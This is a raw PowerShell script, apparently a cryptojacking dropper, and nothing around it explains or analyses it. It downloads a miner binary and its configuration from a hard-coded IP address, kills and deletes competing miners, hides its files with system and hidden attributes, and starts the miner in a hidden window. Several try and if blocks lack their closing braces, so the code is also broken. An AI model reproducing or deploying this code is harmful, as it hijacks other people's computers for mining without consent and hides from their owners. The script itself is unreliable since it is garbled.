$ne = $MyInvocation.MyCommand.Path
$miner_url = "http://1.255.85.176:8080/Wuck/s.rar"
$miner_name = "javas"
$miner_cfg_url = "http://1.255.85.176:8080/Wuck/config.json"
$miner_cfg_name = "config.json"
$miner_path = "$env:TMP\javas.exe"
$miner_cfg_path = "$env:TMP\config.json"
function Update($url,$path,$proc_name)
{
Get-Process -Name $proc_name | Stop-Process
Remove-Item $path
Try {
$vc = New-Object System.Net.WebClient
$vc.DownloadFile($url,$path)
Catch {
Write-Output "donwload with backurl"
$javas=Get-Process -Name javas |select-object CPU
$javas=$javas -Replace 'CPU','' -Replace '@{=','' -Replace '}',''
$javas=[int32]$javas
##Write-Output $javas
if($javas -lt 500){
Get-Process -Name javas | Stop-Process
}else{
cmd /c taskkill /f /im dsm.exe
cmd /c taskkill /f /im dom.exe
cmd /c del /f /q C:\Windows\System32\config\systemprofile\dom\*
cmd /c taskkill /f /im WindowsUpdate.exe
cmd /c del /f /q C:\Windows\temp\WindowsUpdate.exe
Start-Sleep -s 2
if(!(Get-Process $miner_name -ErrorAction SilentlyContinue))
cmd.exe /c attrib -s -h -r %tmp%\config.json
cmd.exe /c attrib -s -h -r C:\Windows\temp\config.json
cmd.exe /c rd /s /q %tmp%\config.json
cmd.exe /c rd /s /q C:\Windows\temp\config.json
Update $miner_url $miner_path $miner_name
Update $miner_cfg_url $miner_cfg_path $miner_cfg_name
cmd.exe /c attrib +R +S +H %tmp%\config.json
cmd.exe /c attrib +R +S +H C:\Windows\temp\config.json
Start-Process $miner_path -windowstyle hidden
Write-Output "Miner Running"
##Start-Process cmd.exe "/c $killmodule_path" -windowstyle hidden
cmd /c taskkill /f /im shella.exe